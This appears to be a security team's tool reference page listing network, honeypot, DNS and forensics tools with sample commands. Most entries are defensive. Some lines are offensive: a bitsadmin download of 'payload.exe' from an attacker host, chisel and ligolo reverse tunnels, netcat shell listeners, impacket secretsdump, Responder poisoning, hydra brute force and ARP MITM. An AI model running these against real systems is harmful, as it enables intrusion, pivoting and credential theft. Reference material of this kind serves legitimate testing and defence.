Everything the team reaches for — CTF, red team, blue team, OSINT, forensics, wireless and living-off-the-land, plus the one-liners we retype every engagement. Search, filter by tag, and click any code block to copy it.
Simple, fast cross-platform IP address and port scanner with a GUI — a quick way to inventory what is alive on a subnet without learning nmap syntax.
The Audit Record Generation and Utilization System — a network flow monitor that turns raw traffic into detailed, auditable flow records, one of the longest-running open network-audit projects still maintained.
argus -i eth0 -w flows.argus
Full-packet-capture indexing and search system (formerly Moloch) — captures and stores traffic at scale, then lets analysts search and pull sessions back out by any field, PCAP included.
Large-scale, indexed full-packet capture — captures and stores traffic while indexing session metadata for search, so a SOC can pull the exact PCAP for an alert from months of retained traffic instead of scrolling Wireshark.
Layer-2 ARP-based host discovery for the local network segment — finds every device on the LAN, including ones that would not respond to an ICMP or TCP scan.
sudo arp-scan --localnet
Team Cymru's whois service answers an IP's ASN, prefix, country and registry in a single query, with no API key required.
whois -h whois.cymru.com " -v 1.1.1.1"
The BITS job service moves a file over HTTP in the background, a built-in transfer path separate from PowerShell logging.
bitsadmin /transfer job /download /priority high http://10.10.14.7/payload.exe C:\Windows\Temp\payload.exe
A quick parallel PTR sweep across a /24 without needing a dedicated scanner installed.
for i in $(seq 1 254); do host 10.10.10.$i & done 2>/dev/null | grep -v 'not found'
A Swiss-army-knife framework for network attacks and monitoring — MITM, WiFi/BLE reconnaissance and attacks, and a scriptable, extensible core.
sudo bettercap -iface eth0
Free API and website for ASN, prefix and peering data, a lighter alternative to the Hurricane Electric toolkit for scripted lookups.
curl -s https://api.bgpview.io/ip/1.1.1.1
Protocol-aware fuzzing framework (fork/successor of Sulley) for building fuzzers against network services and file formats with defined message structures.
Desktop app for searching and analysing large pcap/Zeek log sets with the Zed query language — much faster iteration than opening a huge capture in a GUI packet viewer.
Center for Applied Internet Data Analysis — hosts long-running academic datasets on internet topology, routing and traffic used in network-security research.
Explores malicious HTTP traffic captured in a pcap — replays the conversation, reconstructs redirect chains and lets you pull out the delivered payload for analysis.
python captipper.py malicious.pcap
An NFS export with no_root_squash lets a remote root user write files as root on the export, including a SUID binary to escalate through locally.
cat /etc/exports 2>/dev/null | grep -v '^#' | grep no_root_squash
Confirms whether the built-in packet filter is even enabled before drawing any conclusion from an absence of blocked-connection logs.
/usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate
A fast TCP/UDP tunnel over HTTP, written in Go — the go-to tool for pivoting into a network segment you can otherwise only reach through one compromised host.
# attacker: chisel server -p 8000 --reverse\n# target: ./chisel client 10.10.14.7:8000 R:socks
Web-based pcap analysis and sharing platform — upload a capture, get a shareable link with a full protocol decode, annotations and export, for collaborating on a capture without emailing it around.
ICS/SCADA honeypot emulating industrial protocols (Modbus, S7comm, etc.) and PLC device fingerprints, to detect and study attacks against industrial control systems.
conpot -t default
A medium-interaction SSH and Telnet honeypot — logs brute-force attempts and full attacker shell sessions, and can fake a filesystem convincingly enough to capture what a bot or human does after it "gets in".
The original Active Directory assessment swiss-army-knife that NetExec forked from — still widely referenced in write-ups and older tooling even though NetExec is the maintained successor.
crackmapexec smb 10.10.10.0/24 -u user -p pass
The first thing to run on any box during triage — what is listening, and what process owns it. Works the same shape on Linux and Windows.
# Linux ss -ltnp # Windows (PowerShell) Get-NetTCPConnection -State Listen | Select-Object LocalAddress, LocalPort, OwningProcess
A crowdsourced, behaviour-based intrusion detection and prevention engine — parses local logs for attack patterns and shares/consumes IP reputation with a global community, so one deployment benefits from every other one.
cscli decisions add --ip 1.2.3.4 --duration 24h --reason "manual ban"
A honeypot built to be exploited — emulates vulnerable network services (SMB, HTTP, FTP, MSSQL and more) specifically to capture the malware payloads that automated worms and bots drop when they try to exploit it.
Modern command-line DNS client with colourised, readable output and DNS-over-HTTPS/TLS support, a friendlier drop-in for everyday dig usage.
dog example.com MX @1.1.1.1
Command-line DNS client supporting DoH, DoT and DoQ with human-readable, colourised output — similar niche to dog, written in Go.
doggo example.com @https://1.1.1.1/dns-query
NetFlow/sFlow/IPFIX analytics built on the Elastic Stack — ships flow data into Elasticsearch with ready-made dashboards for network traffic visibility.
A long-standing comprehensive suite for man-in-the-middle attacks on a LAN — live connection sniffing, ARP poisoning and content filtering, with both a CLI and a GUI.
ettercap -T -M arp:remote /10.10.10.1// /10.10.10.10//
The long-standing log-watching intrusion prevention daemon — matches patterns like repeated failed SSH logins in a log file and reacts by firewalling the offending IP, no agent or cloud dependency required.
fail2ban-client status sshd
Mandiant's next-gen network simulation tool for dynamic malware analysis — intercepts and fakes DNS/HTTP/HTTPS/SSL traffic on the analysis host itself, no separate VM needed.
fakenet.exe
abuse.ch's tracker for Emotet/Dridex/QakBot/TrickBot-family botnet C2 servers — publishes a live blocklist of active C2 IPs.
Parallel ping utility — sweeps a whole subnet for live hosts far faster than scripting individual ping calls, a first step in any network inventory.
fping -a -g 10.10.10.0/24 2>/dev/null
The Honeynet Project's generic low-interaction honeypot proxy — sits in front of any TCP port, logs every connection and can hand off to protocol-specific honeypots behind it, useful as a catch-all sensor across a whole address range.
Real-time terminal and browser web log analyzer — parses Apache/Nginx access logs on the fly for traffic, status codes and suspicious request patterns during an incident.
goaccess access.log -o report.html --log-format=COMBINED
NSA-released passive network mapping tool for ICS/SCADA environments — builds a topology map from captured traffic without sending any packets onto often-fragile OT networks.
Counts failed SSH password attempts per source IP from the system auth log — the fastest confirmation of a brute-force before reaching for fail2ban logs or a SIEM.
grep 'Failed password' /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -20
Tracks internet-wide scanning and background noise so a defender can tell "this IP is mass-scanning the whole internet" apart from "this IP is targeting us specifically" — cuts a huge amount of false-positive triage out of alert review.
Classic low-interaction honeypot framework that can simulate thousands of virtual hosts with different OS fingerprints on a single machine, to soak up and log network scans.
honeyd -f honeyd.conf
Extensible, event-driven honeypot framework — dynamically spins up service listeners in response to observed connection attempts, geared toward capturing novel attack traffic.
Pulls Sysmon Event ID 3 (network connection) entries for a given process image — useful for confirming whether a suspicious binary actually phoned home.
Get-WinEvent -LogName 'Microsoft-Windows-Sysmon/Operational' |
Where-Object { $_.Id -eq 3 -and $_.Message -match 'powershell.exe' } |
Select-Object TimeCreated, Message
Looks up an ASN's announced prefixes, peers and reverse-DNS in-bulk, a go-to reference for understanding whose network address space actually belongs to.
A parallelised network login cracker supporting dozens of protocols (SSH, FTP, HTTP forms, RDP, SMB…) — the go-to tool the moment you have a login form and a wordlist.
hydra -l admin -P passwords.txt ssh://10.10.10.10
Anonymising overlay network built around garlic routing, distinct from Tor in design — used for peer-to-peer anonymous services rather than mainly anonymising exit traffic to the clear web.
A collection of Python classes for working with network protocols, and the toolset (secretsdump, psexec, GetUserSPNs, smbexec…) built on them — the backbone of most Windows/AD assessment tooling.
impacket-secretsdump DOMAIN/user:[email protected]
Simulates common internet services (HTTP, DNS, SMTP, FTP…) so malware detonated in an isolated lab thinks it has internet access — captures every request it makes.
inetsim --data-dir /var/lib/inetsim/data
Checks a domain's DNS and mail-server configuration for common mistakes (missing glue, lame nameservers, SOA issues) and grades the result.
Open-source network recon framework for running your own internet-wide or internal scans and organising the results in a queryable database, essentially a self-hosted Shodan.
Network protocol analyzer focused on HTTP — logs requests/responses in a customisable format similar to a web server access log, straight off the wire.
justniffer -i eth0 -p "http.request.uri"
Hak5's covert USB-Ethernet pass-through implant — sits inline on a wired network for remote access, recon and MITM modules while looking like a USB adapter.
Auto-discovering network monitoring platform — SNMP-based inventory and alerting across switches, routers, servers and more, a free alternative to commercial NMS suites.
A tunneling/pivoting tool that sets up a real network interface (TUN) on the attacker box, so pivoted traffic looks and behaves like normal routing rather than a SOCKS proxy.
# proxy: ./proxy -selfcert\n# agent: ./agent -connect 10.10.14.7:11601 -ignore-cert
Confirms what a process is actually talking to right now, the fastest way to spot a live C2 beacon or an exfil channel.
ss -tnp state established
Shows every listening TCP/UDP socket together with the PID that owns it, the fastest way to see what a box is actually exposing.
ss -tulpn
lsof is available on macOS just as on Linux, and remains the most direct way to tie a listening or connected socket back to its process.
lsof -i -P | grep -i listen
Watches SSH failed-password attempts as they happen — the manual, no-Fail2ban-installed version of noticing a brute-force in progress.
tail -f /var/log/auth.log | grep --line-buffered 'Failed password'
CISA's network traffic analysis toolset — packages Zeek, Suricata and Arkime with an OpenSearch/Kibana front end into one Docker-composed stack, for a full-fidelity network monitoring deployment without building it component by component.
The Windows equivalent of ss -tulpn, pairs every listening socket with a PID for quick triage of what a box is actually exposing.
netstat -ano | findstr LISTENING
An asynchronous, internet-scale port scanner capable of scanning the entire IPv4 address space in under six minutes — trades nmap's depth for raw speed, then hands results to nmap for the detail pass.
masscan -p1-65535 10.10.10.0/24 --rate 10000
A high-performance bulk DNS resolver — designed to resolve millions of domain names against a list of resolvers in a fraction of the time a per-query tool would take, the workhorse underneath most large-scale DNS enumeration tooling.
massdns -r resolvers.txt -t A -o S -w results.txt domains.txt
Abuses IPv6's default-on status on most Windows networks: answers DHCPv6 requests nobody expected to get answered, then relays the resulting traffic — a very reliable AD compromise path where IPv6 is unmanaged.
sudo mitm6 -d domain.local
Suite of DNS and mail diagnostic lookups — MX records, DNSBL blacklist status, SPF/DKIM/DMARC validation — in one dashboard.
A fast SYN/CONNECT port scanner from ProjectDiscovery, built to slot into a recon pipeline (subfinder -> naabu -> httpx -> nuclei) rather than run standalone.
naabu -host target.tld -top-ports 1000
The Nmap Project's modern reimplementation of netcat — TCP/UDP swiss-army-knife with SSL, proxying and connection brokering that classic netcat never had.
ncat -lvnp 4444
Freely available proceedings of the Network and Distributed System Security Symposium, another top-tier venue alongside USENIX Security, IEEE S&P and CCS.
Slack's open-source mesh overlay networking tool combining certificate-based identity with WireGuard-style tunnels — an alternative to Tailscale/ZeroTier for building your own private mesh.
nebula -config config.yml
A widely deployed commercial vulnerability scanner (a free "Essentials" tier exists) — CVE-backed checks across a huge range of software and network devices, with policy-based scanning and reporting.
The original "TCP/IP swiss army knife" — reads and writes across network connections from the command line, and the tool almost every reverse shell one-liner assumes is on the box.
nc -lvnp 4444
Open-source network management and discovery tool — maps switches, routers and connected devices via SNMP/CDP/LLDP for network asset inventory and port-tracing.
An active/passive ARP reconnaissance tool for discovering hosts on a local network without relying on DHCP — useful on networks with no DHCP server or where a full port scan would be noisier than necessary.
netdiscover -r 192.168.1.0/24
The successor to CrackMapExec — a swiss-army-knife for testing large Active Directory networks: credential spraying, command execution, share enumeration, all across a whole subnet at once.
nxc smb 10.10.10.0/24 -u user -p pass --shares
High-performance Linux network toolkit — zero-copy packet sniffer/analyzer/replay tool built around the kernel ring-buffer for capturing at line rate on busy links.
netsniff-ng --in eth0 --out capture.pcap
A passive network forensics tool that reconstructs sessions, files, credentials and host details straight out of a PCAP — built for pulling artifacts out of captured traffic rather than live monitoring.
Protocol reverse-engineering tool — infers the message format and state machine of an unknown or undocumented protocol from captured traffic samples.
NetFlow/IPFIX collection and analysis toolset — nfdump captures and filters flow records from the CLI, NfSen adds a web front-end with graphs and alerting on top.
nfdump -R /flows -o long 'src ip 10.0.0.5'
grep for network traffic — matches a regex against packet payloads live off an interface or a pcap file, handy for quickly spotting a known string in a stream of packets.
ngrep -q -d eth0 'password' tcp port 80
An open-source web server scanner that checks for thousands of dangerous files/programs, outdated server software and other misconfigurations — fast and deliberately noisy.
nikto -h https://target.tld
Network Mapper — port scanning, service/version detection and scriptable auditing (NSE) for discovery and security assessment.
nmap -sC -sV -T4 -oA initial <ip or host>
Real-time network traffic monitoring with a web dashboard — flow-level visibility, host and application breakdowns, and historical trending, positioned as a modern, browser-based successor to the original ntop.
ntopng -i eth0
Thinkst's lightweight, low-interaction honeypot daemon — fakes a handful of common services (SSH, RDP, SMB, HTTP, a fake MySQL) just convincingly enough to alert the moment anything touches them, with almost no operational overhead.
opencanaryd --start
A full-featured open-source vulnerability scanning and management framework that grew out of the last open Nessus release — a free, self-hosted alternative for network-wide vulnerability assessment.
Long-standing SSL/TLS-based VPN daemon and protocol — still the default self-hosted option on countless routers/appliances even as WireGuard-based tools take over new deployments.
openvpn --config client.ovpn
Jigsaw (Google)'s self-hosted Shadowsocks-based VPN server and client apps, packaged to make running your own private VPN endpoint on a VPS straightforward for non-experts.
Passive OS and application fingerprinting from raw traffic characteristics (TCP/IP stack quirks) alone — identifies what is talking on the wire without sending a single probe packet.
p0f -i eth0
Free online pcap analysis service — upload a capture and get a Zeek-powered breakdown of connections, files, certificates and suspicious indicators without installing anything.
Passive network asset mapping tool — builds an inventory of hosts, services and vulnerabilities purely by watching traffic, no active scanning that could disrupt fragile OT/ICS devices.
passer -i eth0
Generates a visual network diagram from a pcap — hosts, connections, Tor traffic and suspicious flows laid out graphically for a quick "what happened on this network" overview.
python PcapXray.py -f capture.pcap
netsh interface portproxy quietly relays a local port to a remote host, a lightweight pivot technique worth using and hunting for alike.
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=445 connectaddress=10.10.10.5
Forces an arbitrary dynamically-linked program's TCP connections through a chain of SOCKS/HTTP proxies via LD_PRELOAD — the standard way to route tools that have no built-in proxy support.
proxychains4 curl https://example.com
Extracts and de-duplicates every source/destination IP seen in a capture with tshark, without loading the whole file into Wireshark.
tshark -r capture.pcap -T fields -e ip.src -e ip.dst | tr '\t' '\n' | sort -u
An LLMNR, NBT-NS and MDNS poisoner that harvests NTLM credential hashes from Windows networks that still fall back to these legacy name-resolution protocols.
sudo responder -I eth0 -wrf
Walks every address in a range and runs a PTR lookup on each, a fast way to spot hostnames that hint at a network's internal layout.
for ip in $(prips 10.0.0.0/24); do dig +short -x "$ip"; done
RIPE NCC's tool for exploring routing history, WHOIS and geolocation data for any IP, prefix or ASN, backed by RIPE's own registry and RIS routing data.
Active Countermeasures' open-source beaconing-detection tool — analyses Zeek logs for the regular-interval connection patterns that C2 beacons produce, surfacing them without needing signatures for the malware itself.
rita import /opt/zeek/logs/current mydataset
An extremely fast port scanner written in Rust that pipes its results straight into nmap for service detection — the "scan the internet in seconds" front end to nmap's slower, thorough back end.
rustscan -a 10.10.10.10 -- -sC -sV
A real-time log analysis and correlation engine designed to sit alongside Snort/Suricata, applying Snort-like rule syntax to log data so log events and network alerts can be correlated in one place.
sagan -c /usr/local/etc/sagan.yaml
A free Linux distribution for network security monitoring and log management — bundles Zeek, Suricata, Wazuh and a full Elastic-based analyst UI into one deployable platform for a whole SOC stack.
Lightweight encrypted SOCKS5 proxy protocol originally designed to blend in with normal traffic and evade deep packet inspection/censorship, rather than to anonymise like Tor.
ss-local -s server_ip -p 8388 -k password -m aes-256-gcm -l 1080
CERT/CC's System for Internet-Level Knowledge — a netflow collection and analysis toolkit built for querying flow records at very large (ISP/enterprise-backbone) scale.
rwfilter --start-date=2026/09/03 --proto=6 --pass=stdout | rwstats --fields=dip --top --count=10
One of the original open-source network intrusion detection/prevention systems — a huge community rule-set ecosystem built up over more than two decades.
snort -A console -q -c /etc/snort/snort.conf -i eth0
Ranks host pairs by connection count as a quick, RITA-free first pass at spotting regular-interval C2 beaconing in Zeek connection logs.
zcat conn.log.gz | zeek-cut id.orig_h id.resp_h duration | sort | uniq -c | sort -rn | head
netstat is deprecated on most modern distros; ss is the built-in replacement for a quick "what is this box listening on" check.
ss -tulnp
abuse.ch's SSL Blacklist — JA3/JA3s and certificate SHA1 fingerprints associated with malware C2, useful for detecting malicious TLS traffic without decrypting it.
Google's high-throughput full-packet-capture daemon — buffers traffic to disk on a rolling basis so that when an IDS fires, the packets behind the alert can still be pulled minutes or hours later.
A high-performance open-source network IDS/IPS and network security monitoring engine — multi-threaded, Snort-rule-compatible, with built-in protocol logging.
suricata -i eth0 -c /etc/suricata/suricata.yaml
Deutsche Telekom's all-in-one honeypot platform — bundles Cowrie, Dionaea and a couple dozen other honeypots plus an ELK dashboard into one Docker-composed deployment, for a broad-spectrum sensor rather than a single service.
Zero-config mesh VPN built on WireGuard — commonly used in security work to build a private, NAT-traversing network between lab/attack boxes without hand-managing keys or port forwards.
tailscale up --ssh
The original command-line packet capture/analysis tool, built on libpcap — no GUI, everywhere by default, and still the fastest way to grab a capture on a box with nothing else installed.
tcpdump -i eth0 -w capture.pcap
Captures data transmitted as part of TCP connections and reconstructs each stream into its own file — useful for pulling application-layer content back out of a live capture.
tcpflow -i eth0 -o flows/
Replays previously captured pcap traffic back onto a live network at controlled speed — used to test IDS/IPS/SIEM detection rules against known-bad traffic without re-attacking anything.
tcpreplay -i eth0 --mbps=10 malicious.pcap
Sysinternals GUI showing every active TCP/UDP endpoint with the owning process — a quick live-response check for unexpected outbound connections.
Checks a server's TLS/SSL configuration from the command line — supported protocols and ciphers, certificate details, and known vulnerabilities like Heartbleed or POODLE — no browser or Qualys quota needed.
./testssl.sh https://target.tld
A quick awk pipeline that ranks source IPs by request count, the first thing to run on a log suspected of scanning or brute-force traffic.
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -20
Modern, minimal-codebase VPN protocol/implementation built into the Linux kernel — the underlying tunnel tech behind most current commercial and self-hosted VPN setups.
wg-quick up wg0
The world's most widely used network protocol analyzer — deep inspection of hundreds of protocols, live capture and offline analysis, with a filter language everyone in the field eventually learns.
wireshark -i eth0 -k
Network forensic analysis tool (NFAT) — reconstructs application-layer content (emails, VoIP calls, HTTP content, chat) from a pcap for post-capture investigation.
CERT NetSA's IPFIX-compliant flow generator — turns raw pcap into flow records with deep packet inspection metadata for downstream SiLK-style analysis.
yaf --in capture.pcap --out flow.yaf --silk
Enterprise-grade open-source monitoring platform — network, server and application monitoring with alerting, widely used as the backbone of an internal visibility/blue-team baseline.
A network security monitor rather than a signature-matching IDS — transforms traffic into rich, structured logs (connections, DNS, HTTP, files…) that a SOC actually hunts through.
zeek -r capture.pcap
An internet-wide, single-packet network scanner built for research-scale sweeps of the whole IPv4 address space on a single port, rather than deep per-host scanning of a target list.
zmap -p 443 -o results.csv